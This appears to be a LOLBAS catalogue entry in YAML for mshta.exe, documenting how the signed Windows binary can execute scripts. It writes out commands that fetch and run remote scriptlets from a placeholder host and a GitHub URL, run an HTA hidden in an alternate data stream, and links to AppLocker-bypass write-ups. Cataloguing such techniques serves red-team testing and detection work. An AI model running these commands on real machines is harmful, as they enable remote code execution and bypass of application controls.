--- Name: mshta.exe Description: Execute, Read ADS Author: '' Created: '2018-05-25' Categories: [] Commands: - Command: mshta.exe evilfile.hta Description: Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript. - Command: mshta.exe vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")")) Description: Executes VBScript supplied as a command line argument. - Command: mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Mshta_calc.sct").Exec();close(); Description: Executes JavaScript supplied as a command line argument. - Command: mshta.exe "C:\ads\file.txt:file.hta" Description: Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript. Full Path: - C:\Windows\System32\mshta.exe - C:\Windows\SysWOW64\mshta.exe Code Sample: [] Detection: [] Resources: - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Mshta.md - https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4 - https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/mshta.sct - https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/ - https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/ Notes: Thanks to Casey Smith - @subtee, Oddvar Moe - @oddvarmoe